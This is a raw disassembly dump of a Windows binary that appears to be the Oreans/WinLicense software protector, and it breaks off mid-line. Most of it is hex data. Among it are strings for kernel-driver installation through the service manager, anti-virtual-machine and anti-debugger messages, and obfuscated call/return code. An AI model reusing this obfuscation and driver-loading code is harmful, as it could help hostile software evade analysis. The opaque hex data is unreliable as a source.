dd 85890000h, 5F915DDh, 0F08C9D8Dh, 0D3FF05FBh, 0E8F5585Bh dd 0Eh, 0A79412FBh, 16407C46h, 352B51E2h, 5753746Fh, 8B5F5E5Eh dd 0AAE9C0h, 6F530000h, 61777466h, 575C6572h, 694C6E69h dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h dd 4F746978h, 54005455h, 4E4970h, 3 dup(0) dd 77DEB908h, 77DFD5BBh, 596E9h, 0A7858900h, 8D05FBEEh dd 0FBEEA385h, 858D5005h, 5FBEE0Dh, 16850h, 95FF8000h dd 5FBEEB3h, 0B5FF196Ah, 5FBEEA7h, 6A016Ah, 0EE3C858Dh dd 0FF5005FBh, 0FBEEA3B5h, 0B995FF05h, 0FF05F927h, 0FBEEA3B5h dd 0AF95FF05h, 0FF05FBEEh, 0FBEEA3B5h, 7195FF05h, 0C305F906h dd 0EEA78589h, 858D05FBh, 5FBEEA3h, 0D858D50h, 5005FBEEh dd 168h, 0B395FF80h, 6A05FBEEh, 0A7858D04h, 5005FBEEh dd 6A046Ah, 0EE66858Dh, 0FF5005FBh, 0FBEEA3B5h, 0B995FF05h dd 0FF05F927h, 0FBEEA3B5h, 0AF95FF05h, 0FF05FBEEh, 0FBEEA3B5h dd 7195FF05h, 0C305F906h, 0EEA78589h, 858D05FBh, 5FBEEA3h dd 0D858D50h, 5005FBEEh, 168h, 0B395FF80h, 6A05FBEEh, 0A7858D04h dd 5005FBEEh, 6A046Ah, 0EE4E858Dh, 0FF5005FBh, 0FBEEA3B5h dd 0B995FF05h, 0FF05F927h, 0FBEEA3B5h, 0AF95FF05h, 0FF05FBEEh dd 0FBEEA3B5h, 7195FF05h, 0C305F906h, 0EEA78589h, 858D05FBh dd 5FBEEA3h, 0D858D50h, 5005FBEEh, 168h, 0B395FF80h, 6A05FBEEh dd 0A7858D04h, 5005FBEEh, 6A046Ah, 0EE79858Dh, 0FF5005FBh dd 0FBEEA3B5h, 0B995FF05h, 0FF05F927h, 0FBEEA3B5h, 0AF95FF05h dd 0FF05FBEEh, 0FBEEA3B5h, 7195FF05h, 0C305F906h, 0EEA78589h dd 858D05FBh, 5FBEEA3h, 0D858D50h, 5005FBEEh, 168h, 0B395FF80h dd 6A05FBEEh, 0A7858D04h, 5005FBEEh, 6A046Ah, 0EE29858Dh dd 0FF5005FBh, 0FBEEA3B5h, 0B995FF05h, 0FF05F927h, 0FBEEA3B5h dd 0AF95FF05h, 0FF05FBEEh, 0FBEEA3B5h, 7195FF05h, 0C305F906h dd 2579BD83h, 0F0005F9h, 0B84h, 799D8B00h, 8305F925h, 3894CC3h dd 79BD83C3h, 5F925h, 0B840Fh, 9D8B0000h, 5F92579h, 8950C383h dd 0BD83C303h, 5F92579h, 0B840F00h, 8B000000h, 0F925799Dh dd 54C38305h, 83C30389h, 0F92579BDh, 840F0005h, 0Bh, 25799D8Bh dd 0C38305F9h, 0C3038958h, 2579BD83h, 0F0005F9h, 0B84h dd 799D8B00h, 8305F925h, 3895CC3h, 8960C3C3h, 0FBEEA785h dd 0A3858D05h, 5005FBEEh, 0EE0D858Dh, 685005FBh, 80000001h dd 0EEB395FFh, 46A05FBh, 0EEA7858Dh, 6A5005FBh, 8D006A04h dd 0FBEE9E85h, 0B5FF5005h, 5FBEEA3h, 27B995FFh, 0BD8305F9h dd 5F931C9h, 0C840F00h, 0FF000000h, 0FBEEA3B5h, 0AF95FF05h dd 0FF05FBEEh, 0FBEEA3B5h, 7195FF05h, 6105F906h, 858960C3h dd 5FBEEA7h, 0EEA3858Dh, 8D5005FBh, 0FBEE0D85h, 1685005h dd 0FF800000h, 0FBEEB395h, 8D046A05h, 0FBEEA785h, 46A5005h dd 858D006Ah, 5FBEE80h, 0A3B5FF50h, 0FF05FBEEh, 0F927B995h dd 0C9BD8305h, 5F931h, 0C840Fh, 0B5FF0000h, 5FBEEA3h, 0EEAF95FFh dd 0B5FF05FBh, 5FBEEA3h, 67195FFh, 0C36105F9h, 0A7858960h dd 8D05FBEEh, 0FBEEA385h, 858D5005h, 5FBEE0Dh, 16850h dd 95FF8000h, 5FBEEB3h, 858D046Ah, 5FBEEA7h, 6A046A50h dd 87858D00h, 5005FBEEh, 0EEA3B5FFh, 95FF05FBh, 5F927B9h dd 31C9BD83h, 0F0005F9h, 0C84h, 0A3B5FF00h, 0FF05FBEEh dd 0FBEEAF95h, 0A3B5FF05h, 0FF05FBEEh, 0F9067195h, 60C36105h dd 0EEA78589h, 858D05FBh, 5FBEEA3h, 0D858D50h, 5005FBEEh dd 168h, 0B395FF80h, 6A05FBEEh, 0A7858D04h, 5005FBEEh dd 6A046Ah, 0EE8F858Dh, 0FF5005FBh, 0FBEEA3B5h, 0B995FF05h dd 8305F927h, 0F931C9BDh, 840F0005h, 0Ch, 0EEA3B5FFh, 95FF05FBh dd 5FBEEAFh, 0EEA3B5FFh, 95FF05FBh, 5F90671h, 8960C361h dd 0FBEEA785h, 0A3858D05h, 5005FBEEh, 0EE0D858Dh, 685005FBh dd 80000001h, 0EEB395FFh, 46A05FBh, 0EEA7858Dh, 6A5005FBh dd 8D006A04h, 0FBEE9685h, 0B5FF5005h, 5FBEEA3h, 27B995FFh dd 0BD8305F9h, 5F931C9h, 0C840F00h, 0FF000000h, 0FBEEA3B5h dd 0AF95FF05h, 0FF05FBEEh, 0FBEEA3B5h, 7195FF05h, 6105F906h dd 85C760C3h, 5FBEEA7h, 1, 0EEA3858Dh, 8D5005FBh, 0FBEE0D85h dd 2685005h, 0FF800000h, 0FBEEB395h, 0FC00B05h, 0F84h dd 0A785C700h, 5FBEEh, 0E9000000h, 4Dh, 858D046Ah, 5FBEEA7h dd 6A046A50h, 21858D00h, 5005FBEEh, 0EEA3B5FFh, 95FF05FBh dd 5F927B9h, 840FC00Bh, 0Fh, 0EEA785C7h, 5FBh, 0AE90000h dd 0C7000000h, 0FBEEA785h, 105h, 0A3B5FF00h, 0FF05FBEEh dd 0F9067195h, 858B6105h, 5FBEEA7h, 858960C3h, 5FBEEA7h dd 0EEA3858Dh, 8D5005FBh, 0FBEE0D85h, 1685005h, 0FF800000h dd 0FBEEB395h, 8D046A05h, 0FBEEA785h, 46A5005h, 858D006Ah dd 5FBEE21h, 0A3B5FF50h, 0FF05FBEEh, 0F927B995h, 0C9BD8305h dd 5F931h, 0C840Fh, 0B5FF0000h, 5FBEEA3h, 0EEAF95FFh, 0B5FF05FBh dd 5FBEEA3h, 67195FFh, 0C36105F9h, 0A7858960h, 8D05FBEEh dd 0FBEEA385h, 858D5005h, 5FBEE0Dh, 16850h, 95FF8000h dd 5FBEEB3h, 858D046Ah, 5FBEEA7h, 6A046A50h, 33858D00h dd 5005FBEEh, 0EEA3B5FFh, 95FF05FBh, 5F927B9h, 31C9BD83h dd 0F0005F9h, 0C84h, 0A3B5FF00h, 0FF05FBEEh, 0FBEEAF95h dd 0A3B5FF05h, 0FF05FBEEh, 0F9067195h, 0C6C36105h, 0F9189985h dd 7685205h, 0FFADE47Bh, 0F90FC5B5h, 4995FF05h, 8905F916h dd 0FBEEB385h, 9985C605h, 5205F918h, 2E00E568h, 0C5B5FF90h dd 0FF05F90Fh, 0F9164995h, 0AF858905h, 0C605FBEEh, 0F9189985h dd 35685205h, 0FFB9BF12h, 0F90FC5B5h, 4995FF05h, 8905F916h dd 0F927B985h, 9985C605h, 5205F918h, 78103468h, 0C5B5FF98h dd 0FF05F90Fh, 0F9164995h, 71858905h, 0C605F906h, 0F9189985h dd 0D4685205h, 0FFC005DBh, 0F90FC5B5h, 4995FF05h, 8905F916h dd 0F92AED85h, 0BE805h, 64480000h, 0F28EB1E8h, 66414DD3h dd 81F55872h, 6D1DC0h, 6176B900h, 25685744h, 0E800001Bh dd 7, 34CBA0B1h, 0BB12BE53h, 0FDFF3F9h, 0B70F5A59h, 81388BC8h dd 5A2804C7h, 8116B777h, 26E124C7h, 0DAB70F17h, 391CF781h dd 890F127Ah, 2, 3889DE8Bh, 0EE9h, 75B32600h, 8D595BC0h dd 1312A8F7h, 83B71FA7h, 9E902E8h, 74000000h, 0D4613F2Dh dd 29E77E67h, 5E94848h, 0E000000h, 42A5A6Dh, 0A6850F4Ah dd 0E9FFFFFFh, 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h dd 6B636568h, 6F662F00h, 72656372h, 2F006E75h, 63677562h dd 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h dd 776F6873h, 65646F63h, 632F0032h, 74726Ch, 7369642Fh dd 732F0031h, 69776F68h, 6174736Eh, 65636Eh, 7465672Fh dd 74736C77h, 73757461h, 6F6C2F00h, 61747367h, 737574h dd 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 0FFBD8300h, 5FBF5h, 0A840Fh, 85C70000h, 5F912B5h, 1 dd 189985C6h, 684705F9h, 0B9CC2145h, 0C8243481h, 0FF29A14Dh dd 0F92719B5h, 6A858D05h, 0FF05F93Ah, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2E0h, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C3E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0F57FB58Dh, 25E805FBh dd 3000002h, 0FBF614BDh, 14BD8305h, 5FBF6h, 0B840Fh, 85C70000h dd 5F931C9h, 1, 8AB58DC3h, 0E805FBF5h, 1FCh, 0F614BD03h dd 0BD8305FBh, 5FBF614h, 0B840F00h, 0C7000000h, 0F912B585h dd 105h, 0B58DC300h, 5FBF603h, 1D3E8h, 14BD0300h, 8305FBF6h dd 0FBF614BDh, 840F0005h, 0Bh, 120185C7h, 105F9h, 8DC30000h dd 0FBF594B5h, 1AAE805h, 0BD030000h, 5FBF614h, 0F614BD83h dd 0F0005FBh, 0B84h, 0B585C700h, 105F912h, 0C3000000h dd 0F59EB58Dh, 81E805FBh, 3000001h, 0FBF614BDh, 14BD8305h dd 5FBF6h, 15840Fh, 85C70000h, 5F912B5h, 1, 31C985C7h dd 105F9h, 8DC30000h, 0FBF5ACB5h, 14EE805h, 0BD030000h dd 5FBF614h, 0F614BD83h, 0F0005FBh, 0A84h, 185C700h, 105F928h dd 8D000000h, 0FBF5B6B5h, 126E805h, 0BD030000h, 5FBF614h dd 0F614BD83h, 0F0005FBh, 0A84h, 185C700h, 105F928h, 8D000000h dd 0FBF5C1B5h, 0FEE805h, 0BD030000h, 5FBF614h, 0F614BD83h dd 0F0005FBh, 0A84h, 0BD85C700h, 105F900h, 8D000000h, 0FBF5C7B5h dd 0D6E805h, 0BD030000h, 5FBF614h, 0F614BD83h, 0F0005FBh dd 0A84h, 0CD85C700h, 105F92Eh, 8D000000h, 0FBF5CDB5h dd 0AEE805h, 0BD030000h, 5FBF614h, 0F614BD83h, 0F0005FBh dd 0A84h, 0C185C700h, 105F91Ah, 8D000000h, 0FBF5DBB5h dd 86E805h, 0BD030000h, 5FBF614h, 0F614BD83h, 0F0005FBh dd 0A84h, 585C700h, 105F914h, 8D000000h, 0FBF5E8B5h, 5EE805h dd 0BD030000h, 5FBF614h, 0F614BD83h, 0F0005FBh, 0A84h dd 0E985C700h, 105F915h, 8D000000h, 0FBF5F3B5h, 36E805h dd 0BD030000h, 5FBF614h, 0F614BD83h, 0F0005FBh, 0A84h dd 4985C700h, 105F90Fh, 0E9000000h, 1, 203F8047h, 9840Fh dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h dd 1CE9h, 3F8000h, 5850Fh, 0B90000h, 8A000000h, 0F163817h dd 284h, 46C92B00h, 3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh dd 0C90BFFFFh, 21840Fh, 3F800000h, 9840F00h, 80000000h dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h dd 2B000000h, 14B589F3h, 0E905FBF6h, 0Ah, 0F61485C7h, 5FBh dd 0C3610000h, 0B8h, 0FC00B00h, 0A84h, 185C700h, 5F928h dd 8B000000h, 10E8C8h, 1BB00000h, 51A42680h, 1BFA4BD5h dd 9EDEA242h, 0BD8B554Bh, 5F92615h, 68F0F59h, 8B000000h dd 0F919BDB5h, 0C8C18105h, 89000070h, 0F92585B5h, 1BFC6805h dd 8B660000h, 0F5358F1h, 0FF5AF3BFh, 1B58931h, 5B05F909h dd 56A9ADBFh, 0ACF3816Dh, 8B7CA747h, 0F90005BDh, 0F2EB8105h dd 66478F4Fh, 0F381F38Bh, 1DF3D619h, 0E600BA66h, 8FD68B53h dd 0C59D8901h, 8305F92Dh, 49FC02E9h, 0B58B6049h, 5F92DBDh dd 0E85F5060h, 0Ah, 0ED407949h, 255699Dh, 61585A25h, 1E88361h dd 13850Fh, 95890000h, 5F9316Dh, 31E9h, 77DF2100h, 82F3D63Dh dd 0BE971h, 8FA0000h, 0ED431B41h, 0F05AF32Eh, 0FF75E93Bh dd 0F8D3FFFFh, 75623B7Fh, 47E2A479h, 235D97DBh, 0B61EC182h dd 0EE96262h, 33000002h, 6E6E6143h, 7720746Fh, 65746972h dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 5F91899h, 5B866847h, 0B5FFE3E4h dd 5F92719h, 3A6A858Dh, 0D0FF05F9h, 10468h, 3D9D8D00h dd 5305F90Eh, 8D50D0FFh, 0FBFC82B5h, 32FE8B05h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 0F9189985h dd 0FC684305h, 0FFBC8E6Eh, 0F92719B5h, 6A858D05h, 0FF05F93Ah dd 3DB58DD0h, 6A05F90Eh, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 5F91899h, 0EE566857h, 0B5FFA69Bh dd 5F92719h, 3A6A858Dh, 0D0FF05F9h, 2669BD8Dh, 8D8D05F9h dd 5FBFDA8h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0FA8AB58Dh, 858D05FBh, 5FBE74Eh, 8D8DD0FFh, 5F97285h dd 0B8h, 0C6E1FF00h, 0F9189985h, 0A7684305h, 0FFC0764Ah dd 0F92719B5h, 6A858D05h, 0FF05F93Ah, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_454844+3BCh dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- align 4 dd 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10B7E900h, 44410000h dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0) dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0) dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 53000000h, 69767265h, 50206563h, 206B6361h, 32h, 1Ch dup(0) dd 53000000h, 7774666Fh, 5C657261h, 656E6957h, 8BC48B00h dd 0F918E58Dh, 0F5858905h, 3105F913h, 0F914698Dh, 58D0905h dd 8B05F926h, 519589C0h, 905F909h, 0F928919Dh, 0C9BD8305h dd 5F931h, 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h dd 43Dh, 28E98589h, 9D8D05F9h, 5FBF384h, 585BD3FFh, 12B5BD83h dd 740005F9h, 0B8535017h, 43Dh, 28E98589h, 9D8D05F9h, 5FBF073h dd 585BD3FFh, 24DD9589h, 952905F9h, 5F918B5h, 8166C08Bh dd 8B98FCC2h, 0DAD281C0h, 6659244Ah, 0BD83FA8Bh, 5F931C9h dd 83097500h, 0F912B5BDh, 13740005h, 0C08B5350h, 0B8h dd 269D8D00h, 0FF05FBF2h, 83585BD3h, 0F912B5BDh, 11740005h dd 0B85350h, 8D000000h, 0FBF0D79Dh, 5BD3FF05h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 42A8C7DBh, 24090161h, 8D8B75C3h, 5F9012Dh, 8B66C08Bh dd 81C08BFAh, 0A641F8E7h, 0C9BD831Eh, 5F931h, 0BD830975h dd 5F912B5h, 50137400h, 0B8C08B53h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+5FBF158h] call ebx pop ebx pop eax cmp dword ptr [ebp+5F912B5h], 0 jz short loc_59FD68 push eax push ebx mov eax, 0 lea ebx, [ebp+5FBF0A5h] call ebx pop ebx pop eax loc_59FD68: ; CODE XREF: .XComp0:0059FD55j mov edi, 3725CC88h push esi xor [ebp+5F903D9h], eax pop edi mov eax, eax push 0 push ebp call sub_59FD82 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59FD82 proc near ; CODE XREF: .XComp0:0059FD7Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_59FD82 endp ; --------------------------------------------------------------------------- dw 65h ; --------------------------------------------------------------------------- xor [ebp-75h], esp shl byte ptr [esi-7Fh], 0DAh cmpsd mov edi, 31C9BD83h stc add eax, 83097500h mov ebp, 5F912B5h add [ebx+edx+50h], dh push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+5FBF1BFh] call ebx pop ebx pop eax cmp dword ptr [ebp+5F912B5h], 0 jz short loc_59FDDC push eax push ebx mov eax, 0 lea ebx, [ebp+5FBF0BEh] call ebx pop ebx pop eax loc_59FDDC: ; CODE XREF: .XComp0:0059FDC9j push 0 push edi call sub_59FDE7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59FDE7 proc near ; CODE XREF: .XComp0:0059FDDFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_59FDE7 endp ; --------------------------------------------------------------------------- db 0E1h dd 0D18BDC85h, 8D8BC08Bh, 5F93185h, 0E181C08Bh, 0A760FD2h dd 31C9BD83h, 750005F9h, 0B5BD8309h, 5F912h, 53501374h dd 0B8C08Bh, 8D000000h, 0FBF0F19Dh, 5BD3FF05h, 12E858h dd 329A0000h, 4E48F0B1h, 2F135AACh, 0AC9B96CDh, 0D8CB2411h dd 41DF8166h, 9D895925h, 5F9009Dh, 0C08BC08Bh, 0C9BD83F8h dd 5F931h, 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h dd 7D0h, 28E98589h, 9D8D05F9h, 5FBF384h, 585BD3FFh, 12B5BD83h dd 740005F9h, 0B8535017h, 7D0h, 28E98589h, 9D8D05F9h, 5FBF073h dd 585BD3FFh, 0C9D958Bh, 953305F9h, 5F90FFDh, 0AE9C08Bh dd 60000000h, 0A237BD94h, 9C39C401h, 9985C6F1h, 5305F918h dd 33019D29h, 906805F9h, 0B99395Fh, 0F9291DBDh, 19B5FF05h dd 6A05F927h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 2B27C357h, 0F36E8B3h, 281h, 8DA0B100h dd 0F93A6A85h, 0BD958905h, 0FF05F91Ah, 8589F9D0h, 5F920D5h dd 0C7B86660h, 61585320h, 189985C6h, 0F5705F9h, 668FEB7h dd 80900452h, 0E4B14CDEh, 2719B5FFh, 895005F9h, 0F9282DBDh dd 858D5905h, 5F93A6Ah, 9E8D0FFh, 30000000h, 9A217458h dd 3F16970Eh, 1185895Fh, 6605F909h, 0C126D281h, 189985C6h dd 6A4305F9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0AC7AC352h, 330E5E6h, 0D22F725Bh dd 68D2B70Fh, 0BC907028h, 52F4C781h, 0B5FF400Bh, 5F92719h dd 3A6A858Dh, 12E805F9h, 6D000000h, 6C6BBB77h, 0EB45899Eh dd 1B86A754h, 0AF65460Eh, 0B713BAFCh, 0FF5A1E8Eh, 707EBFD0h dd 85891FCCh, 5F92B15h, 85C6D18Bh, 5F91899h, 50006A4Ch dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 84429DDCh, 68EEB529h, 0D9DA1CE9h, 1F8DBD89h, 0B5FF05F9h dd 5F92719h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 6C35747h, 0F0693E39h, 89969B90h, 0F92AADBDh, 8DCB8B05h dd 0F93A6A85h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 755002AEh, 0B70F65EFh dd 74E280D2h, 5E9D0FFh, 7000000h, 8A8BBDC0h, 2DAD8589h dd 8B5205F9h, 0F90915BDh, 85C65F05h, 5F91899h, 0FE946h dd 7D120000h, 0BC9E29BCh, 0C08D18C0h, 0B4B61883h, 61468AFh dd 8166BADEh, 0E86510F1h, 0Fh, 3A6CC78Fh, 7F52E440h, 3CB7E095h dd 0E93D9EF8h, 13h, 0B61353F7h, 0C001864Dh, 392105F7h dd 5DBF9B97h, 5956ED9Bh, 2719B5FFh, 0FE905F9h, 0A1000000h dd 0F3651212h, 618B3DBh, 80D4ACB0h, 858DE6D9h, 5F93A6Ah dd 31BD8BF9h, 0FF05F91Fh, 11E981D0h, 89302F89h, 0F924E185h dd 0FE905h, 50880000h, 4AF562BBh, 0E1638379h, 1D459362h dd 9985C6A0h, 4705F918h, 0B5E268F8h, 0B5FF8A0Fh, 5F92719h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0EC35343h dd 521A25C2h, 0E0A954B9h, 0B589591Ah, 5F919D1h, 3A6A858Dh dd 0BD2305F9h, 5F92A5Dh, 0F53D0FFh, 485h, 10BA6600h, 0FB8B5F7Eh dd 15098589h, 0BD8905F9h, 5F9329Dh, 189985C6h, 0F4705F9h dd 480h, 0DEBF6600h, 0B5F368F6h, 0F28183D0h, 6C652853h dd 2719B5FFh, 8D8905F9h, 5F931B5h, 3A6A858Dh, 0BD0105F9h dd 5F9017Dh, 958BD0FFh, 5F9287Dh, 5E9h, 76193D00h, 8589B51Ch dd 5F92259h, 0C218D8Bh, 85C605F9h, 